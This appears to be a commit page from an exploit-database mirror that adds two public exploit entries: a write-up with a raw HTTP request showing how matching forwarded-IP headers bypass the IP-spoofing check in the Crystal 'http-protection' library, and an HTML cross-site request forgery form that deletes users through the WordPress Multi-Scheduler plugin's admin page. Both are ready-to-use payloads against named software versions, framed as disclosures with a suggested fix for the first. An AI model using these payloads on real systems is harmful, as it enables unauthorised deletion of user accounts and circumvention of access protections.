DB: 2020-05-30
2 changes to exploits/shellcodes WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User) Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass
This commit is contained in:
parent
99dc6c7c33
commit
326e1cc9df
3 changed files with 106 additions and 0 deletions
81
exploits/multiple/webapps/48533.py
Executable file
81
exploits/multiple/webapps/48533.py
Executable file
|
@ -0,0 +1,81 @@
|
|||
# Exploit Title : Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass
|
||||
# Exploit Author : Halis Duraki (@0xduraki)
|
||||
# Date : 2020-05-28
|
||||
# Product : http-protection (Crystal Shard)
|
||||
# Product URI : https://github.com/rogeriozambon/http-protection
|
||||
# Version : http-protection <= 0.2.0
|
||||
# CVE : N/A
|
||||
|
||||
## About the product
|
||||
|
||||
This library/shard (http-protection) protects against typical web attacks with-in Crystal applications. It was inspired by rack-protection Ruby gem. It is an open-source product developed by Rogério Zambon in Brazil. The total number of installs and respective usage is not known (no available information), but the Shard get the traction on Crystal official channels (Crystals' ANN, Gitter, and Shardbox).
|
||||
|
||||
## About the exploit
|
||||
|
||||
The `IpSpoofing` middleware detects spoofing attacks (and likewise, should prevent it). Both of this functionalities can be bypassed by enumerating and hardcoding `X-*` header values. The middleware works by detecting difference between IP addr values of `X-Forwarded-For` & `X-Real-IP/X-Client-IP`. If the values mismatch, the middleware protects the application by forcing `403 (Forbidden)` response.
|
||||
|
||||
Relevant code (src/http-protection/ip_spoofing.cr):
|
||||
|
||||
```
|
||||
module HTTP::Protection
|
||||
class IpSpoofing
|
||||
...
|
||||
|
||||
def call(... ctx)
|
||||
...
|
||||
ips = headers["X-Forwarded-For"].split(/\s*,\s*/)
|
||||
|
||||
return forbidden(context) if headers.has_key?("X-Client-IP") && !ips.includes?(headers["X-Client-IP"])
|
||||
return forbidden(context) if headers.has_key?("X-Real-IP") && !ips.includes?(headers["X-Real-IP"])
|
||||
...
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
The exploit works by hardcoding the values in all protection request headers following the same const IP Address. The standard format for `X-Forwarded-For` from MDN reference those values as: `X-Forwarded-For: <client>, <proxy1>, <proxy2>`. HTTP request headers such as X-Forwarded-For, True-Client-IP, and X-Real-IP are not a robust foundation on which to build any security measures, such as access controls.
|
||||
|
||||
@see CWE-16: https://cwe.mitre.org/data/definitions/16.html
|
||||
|
||||
## PoC (Proof of Concept)
|
||||
|
||||
* Set a breakpoint on the request, or intercept request.
|
||||
* Hardcore all three request headers:
|
||||
* X-Forwarded-For: 123.123.123.123
|
||||
* X-Client-IP: 123.123.123.123
|
||||
* X-Real-IP: 123.123.123.123
|
||||
* Continue request.
|
||||
* Response should be 200 OK, otherwise, 400 Forbidden.
|
||||
|
||||
++ Request example (POC):
|
||||
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: localhost.:8081
|
||||
X-Forwarded-For: 123.123.123.123
|
||||
X-Client-IP: 123.123.123.123
|
||||
X-Real-IP: 123.123.123.123
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
```
|
||||
|
||||
++ Response (POC):
|
||||
|
||||
```
|
||||
200 OK
|
||||
````
|
||||
|
||||
## Fix
|
||||
|
||||
It is advised to fix the IpSpoofing detection via checking socket data directly instead of relying on passed header key/vals. The other solution is to force proxy to dismiss such data (on request) and use original source (proxified).
|
||||
|
||||
==============================================================================================================
|
||||
+ Halis Duraki | duraki@linuxmail.org | @0xduraki | https://duraki.github.io
|
||||
==============================================================================================================
|
23
exploits/php/webapps/48532.txt
Normal file
23
exploits/php/webapps/48532.txt
Normal file
|
@ -0,0 +1,23 @@
|
|||
# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)
|
||||
# Google Dork: N/A
|
||||
# Date: 2020-05-21
|
||||
# Exploit Author: UnD3sc0n0c1d0
|
||||
# Vendor Homepage: https://www.bdtask.com/
|
||||
# Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip
|
||||
# Category: Web Application
|
||||
# Version: 1.0.0
|
||||
# Tested on: CentOS 7 / WordPress 5.4.1
|
||||
# CVE : N/A
|
||||
|
||||
# 1. Technical Description:
|
||||
The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability
|
||||
in the forms it presents, allowing the possibility of deleting records (users) when an ID is known.
|
||||
|
||||
# 2. Proof of Concept (PoC):
|
||||
<html>
|
||||
<form method="POST" action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional">
|
||||
<input type="hidden" value="[ID]" name="pro_delete_id"><br>
|
||||
<input type="hidden" value="Delete" name="professional_delete">
|
||||
<input type="submit" value="Delete user">
|
||||
</form>
|
||||
</html>
|
|
@ -42759,3 +42759,5 @@ id,file,description,date,author,type,platform,port
|
|||
48529,exploits/php/webapps/48529.txt,"Online-Exam-System 2015 - 'fid' SQL Injection",2020-05-28,"Berk Dusunur",webapps,php,
|
||||
48530,exploits/php/webapps/48530.txt,"EyouCMS 1.4.6 - Persistent Cross-Site Scripting",2020-05-28,"China Banking and Insurance Information Technology Management Co.",webapps,php,
|
||||
48531,exploits/php/webapps/48531.py,"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution",2020-05-28,Th3GundY,webapps,php,
|
||||
48532,exploits/php/webapps/48532.txt,"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)",2020-05-29,UnD3sc0n0c1d0,webapps,php,
|
||||
48533,exploits/multiple/webapps/48533.py,"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass",2020-05-29,"Halis Duraki",webapps,multiple,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue